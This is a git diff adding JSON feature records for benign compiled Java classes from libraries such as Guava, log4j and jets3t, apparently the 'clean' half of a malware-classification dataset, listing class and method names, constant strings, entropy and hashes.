mode 100755 index 0000000..8abab99 --- /dev/null +++ b/java_classification/data/clean/33d23b52b58d06e1752a41f4e0c4c8d2b6dd150f0be879daf81b1fa384cc5c43.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/cache/LocalCache$AbstractReferenceEntry", "access_permissions": ["ACC_SUPER", "ACC_ABSTRACT"], "interfaces": ["com/google/common/cache/LocalCache$ReferenceEntry"], "sourcefile": "LocalCache.java", "method_names": ["", "getValueReference", "setValueReference", "getNext", "getHash", "getKey", "getAccessTime", "setAccessTime", "getNextInAccessQueue", "setNextInAccessQueue", "getPreviousInAccessQueue", "setPreviousInAccessQueue", "getWriteTime", "setWriteTime", "getNextInWriteQueue", "setNextInWriteQueue", "getPreviousInWriteQueue", "setPreviousInWriteQueue"], "minor_version": 0, "const_pool_count": 72}}, "_id": "f5ce2d2a-f3cf-4990-be9b-0da1ba4ee7bf", "verbose": {"java": {"signatures": ["()Lcom/google/common/cache/LocalCache$ValueReference;", "(Lcom/google/common/cache/LocalCache$ValueReference;)V", "()Lcom/google/common/cache/LocalCache$ReferenceEntry;", "()TK;", "()Lcom/google/common/cache/LocalCache$ReferenceEntry;", "(Lcom/google/common/cache/LocalCache$ReferenceEntry;)V", "()Lcom/google/common/cache/LocalCache$ReferenceEntry;", "(Lcom/google/common/cache/LocalCache$ReferenceEntry;)V", "()Lcom/google/common/cache/LocalCache$ReferenceEntry;", "(Lcom/google/common/cache/LocalCache$ReferenceEntry;)V", "()Lcom/google/common/cache/LocalCache$ReferenceEntry;", "(Lcom/google/common/cache/LocalCache$ReferenceEntry;)V", "Ljava/lang/Object;Lcom/google/common/cache/LocalCache$ReferenceEntry;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c8f75f36802082edf192c0c7a75859b0caf87ae2", "file_name": "java_clean/33d23b52b58d06e1752a41f4e0c4c8d2b6dd150f0be879daf81b1fa384cc5c43", "_id": "f5ce2d2a-f3cf-4990-be9b-0da1ba4ee7bf", "score": 0, "entropy": 4.810647724427257, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3661, "ssdeep": "48:4WyFlWhr9b9smLYDDspEavcE7D5UdRsSFiDNH923oyBEP6mzNwOfSVrIelC9G4XR:4vFlHPYdVrhaa9wk9", "sha256": "33d23b52b58d06e1752a41f4e0c4c8d2b6dd150f0be879daf81b1fa384cc5c43", "md5": "37b183163dbf012be0e3467df11e68ba", "parent_sha256": "33d23b52b58d06e1752a41f4e0c4c8d2b6dd150f0be879daf81b1fa384cc5c43"}} \ No newline at end of file diff --git a/java_classification/data/clean/345964543dd25119ab0184cab3d843d2029b76b61310b879ce7a0095fa8c7d25.results b/java_classification/data/clean/345964543dd25119ab0184cab3d843d2029b76b61310b879ce7a0095fa8c7d25.results new file mode 100755 index 0000000..138461b --- /dev/null +++ b/java_classification/data/clean/345964543dd25119ab0184cab3d843d2029b76b61310b879ce7a0095fa8c7d25.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "CategoryNodeRenderer.java", "class_name": "org/apache/log4j/lf5/viewer/categoryexplorer/CategoryNodeRenderer", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "getTreeCellRendererComponent", "getCheckBoxOffset", "buildToolTip", ""], "minor_version": 3, "const_pool_count": 201}}, "_id": "5baa234e-59d2-419a-b56f-6b80fc28d192", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.548888847022644}, "constant strings": ["Tree.textBackground", "/org/apache/log4j/lf5/viewer/images/channelexplorer_satellite.gif", " contains a total of ", " LogRecords.", " Right-click for more info."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4bae274b5dddbf6239afd963aad40321d0f5115e", "file_name": "java_clean/345964543dd25119ab0184cab3d843d2029b76b61310b879ce7a0095fa8c7d25", "_id": "5baa234e-59d2-419a-b56f-6b80fc28d192", "score": 0, "entropy": 5.683845340233082, "libmagic": "compiled Java class data, version 45.3", "file_size": 3584, "ssdeep": "96:5P/IOLz7FlfZVi0KCnsmO8fKdh/GAAzX3:FRxlfZIVDMzH", "sha256": "345964543dd25119ab0184cab3d843d2029b76b61310b879ce7a0095fa8c7d25", "md5": "927051f9bec0f7ad4661f31b3b98d3f4", "parent_sha256": "345964543dd25119ab0184cab3d843d2029b76b61310b879ce7a0095fa8c7d25"}} \ No newline at end of file diff --git a/java_classification/data/clean/3478c65ca07312f9060d2199d9c8fb800d4d921b395f66a98443e4c830fb3d5b.results b/java_classification/data/clean/3478c65ca07312f9060d2199d9c8fb800d4d921b395f66a98443e4c830fb3d5b.results new file mode 100755 index 0000000..0037f7b --- /dev/null +++ b/java_classification/data/clean/3478c65ca07312f9060d2199d9c8fb800d4d921b395f66a98443e4c830fb3d5b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/pig/SamplableLoader", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "interfaces": ["org/apache/pig/LoadFunc"], "sourcefile": "SamplableLoader.java", "method_names": ["skip", "getPosition", "getSampledTuple"], "minor_version": 0, "const_pool_count": 18}}, "_id": "0965252f-d28d-4e45-b79f-dbbbffc9cc2e", "metadata": {"mimetype": "application/x-java-applet", "sha1": "ec667e2999f17d154e5c448b59e543cb260681d5", "file_name": "java_clean/3478c65ca07312f9060d2199d9c8fb800d4d921b395f66a98443e4c830fb3d5b", "_id": "0965252f-d28d-4e45-b79f-dbbbffc9cc2e", "score": 0, "entropy": 4.97538783478509, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 333, "ssdeep": "6:xjik2rETeesOzXC9AC3QwxIuFC2dmuLRP2JFCyeAcVY4aG4azmxyn:0k2rET3RzXLCgwC6ROLCyREYXGXqxy", "sha256": "3478c65ca07312f9060d2199d9c8fb800d4d921b395f66a98443e4c830fb3d5b", "md5": "bef6ba14bab2eabce47d98a2792db51e", "parent_sha256": "3478c65ca07312f9060d2199d9c8fb800d4d921b395f66a98443e4c830fb3d5b"}} \ No newline at end of file diff --git a/java_classification/data/clean/3585bc3693e14aee7215de51d479fdaf7daa497368861170660e6e66acbe2d4a.results b/java_classification/data/clean/3585bc3693e14aee7215de51d479fdaf7daa497368861170660e6e66acbe2d4a.results new file mode 100755 index 0000000..a738968 --- /dev/null +++ b/java_classification/data/clean/3585bc3693e14aee7215de51d479fdaf7daa497368861170660e6e66acbe2d4a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "HttpConnectionParams.java", "class_name": "org/apache/commons/httpclient/params/HttpConnectionParams", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "getSoTimeout", "setSoTimeout", "setTcpNoDelay", "getTcpNoDelay", "getSendBufferSize", "setSendBufferSize", "getReceiveBufferSize", "setReceiveBufferSize", "getLinger", "setLinger", "getConnectionTimeout", "setConnectionTimeout", "isStaleCheckingEnabled", "setStaleCheckingEnabled"], "minor_version": 3, "const_pool_count": 78}}, "_id": "fcca9296-dcb5-448e-8347-c80251abd87d", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 3.946955416983399}, "constant strings": ["http.socket.timeout", "http.tcp.nodelay", "http.socket.sendbuffer", "http.socket.receivebuffer", "http.socket.linger", "http.connection.timeout", "http.connection.stalecheck"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "952004398ee64e1763c2eac3924bb08724d9a934", "file_name": "java_clean/3585bc3693e14aee7215de51d479fdaf7daa497368861170660e6e66acbe2d4a", "_id": "fcca9296-dcb5-448e-8347-c80251abd87d", "score": 0, "entropy": 4.970881951736455, "libmagic": "compiled Java class data, version 45.3", "file_size": 2392, "ssdeep": "48:TLrPyFl5598hC8too2pJSSat9SbtPpdPZBB8:TSFl55eTSocfBZs", "sha256": "3585bc3693e14aee7215de51d479fdaf7daa497368861170660e6e66acbe2d4a", "md5": "8048cba363907b1b220fd9d1d88ec1ea", "parent_sha256": "3585bc3693e14aee7215de51d479fdaf7daa497368861170660e6e66acbe2d4a"}} \ No newline at end of file diff --git a/java_classification/data/clean/35a4c2e7677a20f402eaf9f88e3116109915b4ed950b29154c31953eb4bcf695.results b/java_classification/data/clean/35a4c2e7677a20f402eaf9f88e3116109915b4ed950b29154c31953eb4bcf695.results new file mode 100755 index 0000000..c9968d2 --- /dev/null +++ b/java_classification/data/clean/35a4c2e7677a20f402eaf9f88e3116109915b4ed950b29154c31953eb4bcf695.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SoapS3Service.java", "class_name": "org/jets3t/service/impl/soap/axis/SoapS3Service", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "", "getSoapBinding", "getAWSAccessKey", "getAWSSecretKey", "getTimeStamp", "convertDateToString", "convertOwner", "convertAccessControlTypes", "convertACLtoGrants", "convertMetadata", "listAllBucketsImpl", "isBucketAccessible", "listObjectsImpl", "listObjectsChunkedImpl", "listObjectsInternalImpl", "createBucketImpl", "getBucketLocationImpl", "deleteBucketImpl", "putObjectImpl", "deleteObjectImpl", "getObjectDetailsImpl", "getObjectImpl", "getObjectImpl", "putObjectAclImpl", "putBucketAclImpl", "getObjectAclImpl", "getBucketAclImpl", "getBucketLoggingStatusImpl", "setBucketLoggingStatusImpl", "class$"], "minor_version": 0, "const_pool_count": 1084}}, "_id": "0e8f3153-8a06-433e-a5b3-141ca7c1785f", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.785247109607658, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "AmazonS3GetBucketAccessControlPolicy"}}}, "constant strings": ["org.jets3t.service.impl.soap.axis.SoapS3Service", "SOAP service will use HTTPS for all communication", "https://", "/soap", "SOAP service will use HTTP for all communication", "http://", "Unable to initialise SOAP binding", "", "Unrecognised grantee type: ", "Cannot use canned REST ACLs with SOAP service", "Unrecognised jets3t grantee type: ", "Setting metadata: ", "=", "Listing all buckets for AWS user: ", "AmazonS3ListAllMyBuckets", "Unable to List Buckets", "Checking existence of bucket: ", "AmazonS3ListBucket", "Found ", " objects in one batch", " common prefixes in one batch", "Yet to receive complete listing of bucket contents, last key for prior chunk: ", "Unable to List Objects in bucket: ", " objects in total", "The SOAP API interface for S3 does not allow you to create buckets located anywhere other than the US", "AmazonS3CreateBucket", "Unable to Create Bucket: ", "The SOAP API interface for S3 does not allow you to retrieve location information for a bucket", "AmazonS3DeleteBucket", "Unable to Delete Bucket: ", "Creating Object with key ", " in bucket ", "application/octet-stream", "Uploading data input stream for S3Object: ", "S3Object ", " - Content-Length was set to 0 despite having a non-empty data", " input stream. The Content-length will be determined in memory.", "Content-Length value has been reset to ", "AmazonS3PutObject", "Object created but ETag returned by S3 does not match MD5 hash value of object", "Unable to Create Object: ", "AmazonS3DeleteObject", "Unable to Delete Object: ", "Using Extended GET to apply constraints: ifModifiedSince=", "null", ", ifUnmodifiedSince=", ", ifMatchTags=", ", ifNoneMatchTags=", ", byteRangeStart=", ", byteRangeEnd=", "AmazonS3GetObjectExtended", "Precondition failed when getting object ", ": ", "Using standard GET (no constraints to apply)", "AmazonS3GetObject", "SOAP attachment count for ", "Received multiple SOAP attachment parts, this shouldn\\'t happen", "Unable to Get Object: ", "AmazonS3SetObjectAccessControlPolicy", "Unable to Put Object ACL", "AmazonS3SetBucketAccessControlPolicy", "Unable to Put Bucket ACL", "AmazonS3GetObjectAccessControlPolicy", "Unable to Get ACL", "AmazonS3GetBucketAccessControlPolicy", "AmazonS3GetBucketLoggingStatus", "Unable to Get Bucket logging status for ", "AmazonS3SetBucketLoggingStatus", "Unable to Set Bucket logging status for "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e993f55cf6b82ca9c22b0310f0ada482fe08b907", "file_name": "java_clean/35a4c2e7677a20f402eaf9f88e3116109915b4ed950b29154c31953eb4bcf695", "_id": "0e8f3153-8a06-433e-a5b3-141ca7c1785f", "score": 0, "entropy": 6.065356525187264, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 32253, "ssdeep": "384:Ftnq7c2lEpZtdppmGJiLYbepfagn05+eBqxLKAHuXKMhB9ssXp8:FtnqYpZtHepDn0weBqZlOJhB9sCu", "sha256": "35a4c2e7677a20f402eaf9f88e3116109915b4ed950b29154c31953eb4bcf695", "md5": "13eb53de39397d58b81a6c78e143df87", "parent_sha256": "35a4c2e7677a20f402eaf9f88e3116109915b4ed950b29154c31953eb4bcf695"}} \ No newline at end of file diff --git a/java_classification/data/clean/35b5541bfa4478d59dcfba395735b37759c945ba71705bd1fa8b4d9334b0b821.results b/java_classification/data/clean/35b5541bfa4478d59dcfba395735b37759c945ba71705bd1fa8b4d9334b0b821.results new file mode 100755 index 0000000..0027932 --- /dev/null +++ b/java_classification/data/clean/35b5541bfa4478d59dcfba395735b37759c945ba71705bd1fa8b4d9334b0b821.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/gson/SerializedNameAnnotationInterceptingNamingPolicy", "access_permissions": ["ACC_SUPER"], "interfaces": ["com/google/gson/FieldNamingStrategy"], "sourcefile": "SerializedNameAnnotationInterceptingNamingPolicy.java", "method_names": ["", "translateName", ""], "minor_version": 0, "const_pool_count": 61}}, "_id": "dc849689-6e48-4a03-8807-28c507d916ea", "metadata": {"mimetype": "application/x-java-applet", "sha1": "78474118b0c02ed8725a8301900fa6c2bcd3236f", "file_name": "java_clean/35b5541bfa4478d59dcfba395735b37759c945ba71705bd1fa8b4d9334b0b821", "_id": "dc849689-6e48-4a03-8807-28c507d916ea", "score": 0, "entropy": 5.247710401902111, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1420, "ssdeep": "24:LCdNq9TRK8XRKeAOj1uljpq7OIH8D7yKFMXRKrvuLCWkykQFl3qWp:2y9dXBZAOj0lcFEyxBrLMAn3xp", "sha256": "35b5541bfa4478d59dcfba395735b37759c945ba71705bd1fa8b4d9334b0b821", "md5": "d56139c386bb4883d44f498f5b819efe", "parent_sha256": "35b5541bfa4478d59dcfba395735b37759c945ba71705bd1fa8b4d9334b0b821"}} \ No newline at end of file diff --git a/java_classification/data/clean/36751f6b056146175198f83c695e4f4b873f854b073e168f2a91a80391625205.results b/java_classification/data/clean/36751f6b056146175198f83c695e4f4b873f854b073e168f2a91a80391625205.results new file mode 100755 index 0000000..0d7ec54 --- /dev/null +++ b/java_classification/data/clean/36751f6b056146175198f83c695e4f4b873f854b073e168f2a91a80391625205.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/Maps$ValueDifferenceImpl", "access_permissions": ["ACC_SUPER"], "interfaces": ["com/google/common/collect/MapDifference$ValueDifference"], "sourcefile": "Maps.java", "method_names": ["create", "", "leftValue", "rightValue", "equals", "hashCode", "toString"], "minor_version": 0, "const_pool_count": 91}}, "_id": "93880ba2-5552-47e4-b0f3-c89621cd8186", "verbose": {"java": {"signatures": ["TV;", "TV;", "(TV;TV;)Lcom/google/common/collect/MapDifference$ValueDifference;", "(TV;TV;)V", "()TV;", "()TV;", "Ljava/lang/Object;Lcom/google/common/collect/MapDifference$ValueDifference;"], "constant strings": ["(", ", ", ")"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0ca25f0fa22f85a021266edcde3a5aee9b050ab7", "file_name": "java_clean/36751f6b056146175198f83c695e4f4b873f854b073e168f2a91a80391625205", "_id": "93880ba2-5552-47e4-b0f3-c89621cd8186", "score": 0, "entropy": 5.239979847993395, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2613, "ssdeep": "48:ueGEQFDtVlxE5HioPogNKIWR3PL9JYC6bENe:4la5WAXC6b/", "sha256": "36751f6b056146175198f83c695e4f4b873f854b073e168f2a91a80391625205", "md5": "b3185389491418c80e68ffb94963d29e", "parent_sha256": "36751f6b056146175198f83c695e4f4b873f854b073e168f2a91a80391625205"}} \ No newline at end of file diff --git a/java_classification/data/clean/36a8065fbff5801248cefacc0a9100343b21f85e2f220ac90bfaf9247afad5c9.results b/java_classification/data/clean/36a8065fbff5801248cefacc0a9100343b21f85e2f220ac90bfaf9247afad5c9.results new file mode 100755 index 0000000..a91fbc2 --- /dev/null +++ b/java_classification/data/clean/36a8065fbff5801248cefacc0a9100343b21f85e2f220ac90bfaf9247afad5c9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ImmutableSet.java", "class_name": "com/google/common/collect/ImmutableSet$TransformedImmutableSet", "access_permissions": ["ACC_SUPER", "ACC_ABSTRACT"], "major_version": 49, "method_names": ["", "transform", "size", "isEmpty", "iterator", "toArray", "toArray", "hashCode", "isHashCodeFast", "iterator"], "minor_version": 0, "const_pool_count": 75}}, "_id": "1d415287-5444-4efa-8d80-c3bfb8a6705a", "verbose": {"java": {"signatures": ["[TD;", "([TD;I)V", "(TD;)TE;", "()Lcom/google/common/collect/UnmodifiableIterator;", "([TT;)[TT;", "Lcom/google/common/collect/ImmutableSet;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "45ba142cc50e8f34d018be5220b179136c7bc0fa", "file_name": "java_clean/36a8065fbff5801248cefacc0a9100343b21f85e2f220ac90bfaf9247afad5c9", "_id": "1d415287-5444-4efa-8d80-c3bfb8a6705a", "score": 0, "entropy": 5.1603151259767746, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2421, "ssdeep": "24:IWaZ4JJulj3y9WexWkGlfgFr8cT8lEKpktWfG+WFLIbW+Gs8lccpxW5UpTlyRNZd:nulGrrOYKG9l7/5CNKDjCSFp05yKDOn+", "sha256": "36a8065fbff5801248cefacc0a9100343b21f85e2f220ac90bfaf9247afad5c9", "md5": "d1566427132b8b02fe2f033e1f9b10d3", "parent_sha256": "36a8065fbff5801248cefacc0a9100343b21f85e2f220ac90bfaf9247afad5c9"}} \ No newline at end of file diff --git a/java_classification/data/clean/371eae06973916b62f179c02f98bdaed3532ede2809cb7123ebe72c6d6c902b7.results b/java_classification/data/clean/371eae06973916b62f179c02f98bdaed3532ede2809cb7123ebe72c6d6c902b7.results new file mode 100755 index 0000000..8649d15 --- /dev/null +++ b/java_classification/data/clean/371eae06973916b62f179c02f98bdaed3532ede2809cb7123ebe72c6d6c902b7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/ImmutableEntry", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "ImmutableEntry.java", "method_names": ["", "getKey", "getValue", "setValue"], "minor_version": 0, "const_pool_count": 56}}, "_id": "0c74da02-e269-467c-990f-e771bcd0abed", "verbose": {"java": {"signatures": ["TK;", "TV;", "(TK;TV;)V", "()TK;", "()TV;", "(TV;)TV;", "Lcom/google/common/collect/AbstractMapEntry;Ljava/io/Serializable;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e73f865a27bbb799d3af5d3ce663d92d809aa933", "file_name": "java_clean/371eae06973916b62f179c02f98bdaed3532ede2809cb7123ebe72c6d6c902b7", "_id": "0c74da02-e269-467c-990f-e771bcd0abed", "score": 0, "entropy": 5.084377848645747, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1604, "ssdeep": "24:geYFuljc2PEp5kpfL+/KFMk/exMJhhLx/IsIQSAhK9HGWu9L45YbjQeG2F:geYEle5mj+/L4LfQmFL/kW", "sha256": "371eae06973916b62f179c02f98bdaed3532ede2809cb7123ebe72c6d6c902b7", "md5": "05325eafb8eeb65ff9d08d43ec97c75d", "parent_sha256": "371eae06973916b62f179c02f98bdaed3532ede2809cb7123ebe72c6d6c902b7"}} \ No newline at end of file diff --git a/java_classification/data/clean/37254623003627c431b8138aa5a1e5821d87364c8fe6f31e4d5de264dff084ac.results b/java_classification/data/clean/37254623003627c431b8138aa5a1e5821d87364c8fe6f31e4d5de264dff084ac.results new file mode 100755 index 0000000..29d9b8d --- /dev/null +++ b/java_classification/data/clean/37254623003627c431b8138aa5a1e5821d87364c8fe6f31e4d5de264dff084ac.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Maps.java", "class_name": "com/google/common/collect/Maps$FilteredEntryMap", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "entrySet", "keySet"], "minor_version": 0, "const_pool_count": 77}}, "_id": "cb11e151-ae52-4481-a0d7-55a3b3437bcf", "verbose": {"java": {"signatures": ["Ljava/util/Set;>;", "Ljava/util/Set;>;", "Ljava/util/Set;", "(Ljava/util/Map;Lcom/google/common/base/Predicate<-Ljava/util/Map$Entry;>;)V", "()Ljava/util/Set;>;", "()Ljava/util/Set;", "Lcom/google/common/collect/Maps$AbstractFilteredMap;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3f834dec732241689d4bb331af2deb33479e1187", "file_name": "java_clean/37254623003627c431b8138aa5a1e5821d87364c8fe6f31e4d5de264dff084ac", "_id": "cb11e151-ae52-4481-a0d7-55a3b3437bcf", "score": 0, "entropy": 5.372450718007684, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2207, "ssdeep": "24:761GkrZPJUTKOx2uO8XCNIVuljtNygN5CNOEAkyxtASxpIOKOxiVcNxKF4OFjRIQ:O1Gkr1eeAOtlJbO6fM9nyUw8IOf", "sha256": "37254623003627c431b8138aa5a1e5821d87364c8fe6f31e4d5de264dff084ac", "md5": "c9837da551689f1cb16fb285c15af3c8", "parent_sha256": "37254623003627c431b8138aa5a1e5821d87364c8fe6f31e4d5de264dff084ac"}} \ No newline at end of file diff --git a/java_classification/data/clean/374251a63e6b722468fde0b96d3351c67cd2888f93d17174db338a38ca75717d.results b/java_classification/data/clean/374251a63e6b722468fde0b96d3351c67cd2888f93d17174db338a38ca75717d.results new file mode 100755 index 0000000..960396e --- /dev/null +++ b/java_classification/data/clean/374251a63e6b722468fde0b96d3351c67cd2888f93d17174db338a38ca75717d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/Iterators$PeekingImpl", "access_permissions": ["ACC_SUPER"], "interfaces": ["com/google/common/collect/PeekingIterator"], "sourcefile": "Iterators.java", "method_names": ["", "hasNext", "next", "remove", "peek"], "minor_version": 0, "const_pool_count": 70}}, "_id": "a301efd4-5214-4793-8bd2-a7c33411f330", "verbose": {"java": {"signatures": ["Ljava/util/Iterator<+TE;>;", "TE;", "(Ljava/util/Iterator<+TE;>;)V", "()TE;", "()TE;", "Ljava/lang/Object;Lcom/google/common/collect/PeekingIterator;"], "constant strings": ["Can\\'t remove after you\\'ve peeked at next"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ac6cdba2227fe2f785f82fd5ff4089d4955aedc5", "file_name": "java_clean/374251a63e6b722468fde0b96d3351c67cd2888f93d17174db338a38ca75717d", "_id": "a301efd4-5214-4793-8bd2-a7c33411f330", "score": 0, "entropy": 5.239239655251635, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1794, "ssdeep": "24:5m0O8di8izgFls88uljl8kgfAkO86SOQ+2Hf82EJgHkshbkkkO+5vOiKtpX37qi3:5fqElvliJEJgbWrvOVpXLFxdBeSbZ", "sha256": "374251a63e6b722468fde0b96d3351c67cd2888f93d17174db338a38ca75717d", "md5": "aff3ca16cec9c9db252be77bfcd55db1", "parent_sha256": "374251a63e6b722468fde0b96d3351c67cd2888f93d17174db338a38ca75717d"}} \ No newline at end of file diff --git a/java_classification/data/clean/37af1a8dafa065a605a50481aca50d7577bba7e5cb007ae36ca28adaab7cfd32.results b/java_classification/data/clean/37af1a8dafa065a605a50481aca50d7577bba7e5cb007ae36ca28adaab7cfd32.results new file mode 100755 index 0000000..a101bca --- /dev/null +++ b/java_classification/data/clean/37af1a8dafa065a605a50481aca50d7577bba7e5cb007ae36ca28adaab7cfd32.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "AIFleet.java", "class_name": "hu/openig/model/AIFleet", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "assign", "inventoryCount", "hasInventory", "hasInventory", "hasInventory", "isMoving", "isAttacking", "radarLevel"], "minor_version": 0, "const_pool_count": 260}}, "_id": "97a3007f-aae9-4bc9-8cf8-da2795bfd4a9", "verbose": {"java": {"signatures": ["Ljava/util/List;", "Ljava/util/Map;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9d9e9d50146a2eb11fdf65ed7b7d4a4fb7593a86", "file_name": "java_clean/37af1a8dafa065a605a50481aca50d7577bba7e5cb007ae36ca28adaab7cfd32", "_id": "97a3007f-aae9-4bc9-8cf8-da2795bfd4a9", "score": 0, "entropy": 5.62548429408944, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5221, "ssdeep": "96:EjZSZf63fIli1abS7wkMFTECJ3grBXWjTkixgh4/XMUaAWUw/n:qZ3fIlUz0kYEG3Tv2a/XoAk/n", "sha256": "37af1a8dafa065a605a50481aca50d7577bba7e5cb007ae36ca28adaab7cfd32", "md5": "66b1e868cd0f8aefd66f8082371e33a8", "parent_sha256": "37af1a8dafa065a605a50481aca50d7577bba7e5cb007ae36ca28adaab7cfd32"}} \ No newline at end of file diff --git a/java_classification/data/clean/383504565dd80ca98ee8c5a5b85315e133123972bedb5ddb0abfa6427fd01022.results b/java_classification/data/clean/383504565dd80ca98ee8c5a5b85315e133123972bedb5ddb0abfa6427fd01022.results new file mode 100755 index 0000000..cdf932d --- /dev/null +++ b/java_classification/data/clean/383504565dd80ca98ee8c5a5b85315e133123972bedb5ddb0abfa6427fd01022.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "VirtualFileURLConnection.java", "class_name": "org/jboss/vfs/protocol/VirtualFileURLConnection", "access_permissions": ["ACC_SUPER"], "major_version": 50, "method_names": ["", "connect", "getContent", "getContentLength", "getLastModified", "getInputStream", "getPermission", "getName", "getContent"], "minor_version": 0, "const_pool_count": 98}}, "_id": "4bdaf35e-bf92-4696-bb15-05766024d617", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "read"}}}, "constant strings": ["read"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4b5bcf400572905393660dd5c0ea95cfeb6311d9", "file_name": "java_clean/383504565dd80ca98ee8c5a5b85315e133123972bedb5ddb0abfa6427fd01022", "_id": "4bdaf35e-bf92-4696-bb15-05766024d617", "score": 0, "entropy": 5.181150226609846, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2029, "ssdeep": "48:gl8TvlqNJaGG1P9TUNAYEfvg4FzJmfUYvREOcFY7mw6bI:gslaaGRJE3dIsLMm8", "sha256": "383504565dd80ca98ee8c5a5b85315e133123972bedb5ddb0abfa6427fd01022", "md5": "c26fb77e5c2b78554c320d165cd69232", "parent_sha256": "383504565dd80ca98ee8c5a5b85315e133123972bedb5ddb0abfa6427fd01022"}} \ No newline at end of file diff --git a/java_classification/data/clean/3885592e8450f6594fe84c5917f27caa2409b2c47849f15f0b8dd844190980b5.results b/java_classification/data/clean/3885592e8450f6594fe84c5917f27caa2409b2c47849f15f0b8dd844190980b5.results new file mode 100755 index 0000000..6141699 --- /dev/null +++ b/java_classification/data/clean/3885592e8450f6594fe84c5917f27caa2409b2c47849f15f0b8dd844190980b5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Threadable.java", "class_name": "org/apache/commons/net/nntp/Threadable", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 46, "method_names": ["isDummy", "messageThreadId", "messageThreadReferences", "simplifiedSubject", "subjectIsReply", "setChild", "setNext", "makeDummy"], "minor_version": 0, "const_pool_count": 20}}, "_id": "9b5a7cda-cf27-46d1-be92-74060029972b", "metadata": {"mimetype": "application/x-java-applet", "sha1": "a0f41e6a088b709ac11da6436127cd4970e800a0", "file_name": "java_clean/3885592e8450f6594fe84c5917f27caa2409b2c47849f15f0b8dd844190980b5", "_id": "9b5a7cda-cf27-46d1-be92-74060029972b", "score": 0, "entropy": 5.125452064749156, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 461, "ssdeep": "6:Bj8gLQxXMOhnPhIXMOfwjZWRXJ8ATGWI6EsATGWEqLQXuCdATGWMRP8lBHTv1X:WbMO2MOfMZiIHeFIMRWBHj1X", "sha256": "3885592e8450f6594fe84c5917f27caa2409b2c47849f15f0b8dd844190980b5", "md5": "5e1c27655081a96f7739041cd3ebb3e4", "parent_sha256": "3885592e8450f6594fe84c5917f27caa2409b2c47849f15f0b8dd844190980b5"}} \ No newline at end of file diff --git a/java_classification/data/clean/38f26a83fad71c9578211fef0d36e4ceca75c67928792cf455f13e2001c03d7f.results b/java_classification/data/clean/38f26a83fad71c9578211fef0d36e4ceca75c67928792cf455f13e2001c03d7f.results new file mode 100755 index 0000000..08fb330 --- /dev/null +++ b/java_classification/data/clean/38f26a83fad71c9578211fef0d36e4ceca75c67928792cf455f13e2001c03d7f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 48, "class_name": "org/jets3t/service/impl/soap/axis/_2006_03_01/Group", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "Group.java", "method_names": ["", "", "getURI", "setURI", "equals", "hashCode", "getTypeDesc", "getSerializer", "getDeserializer", "class$", ""], "minor_version": 0, "const_pool_count": 147}}, 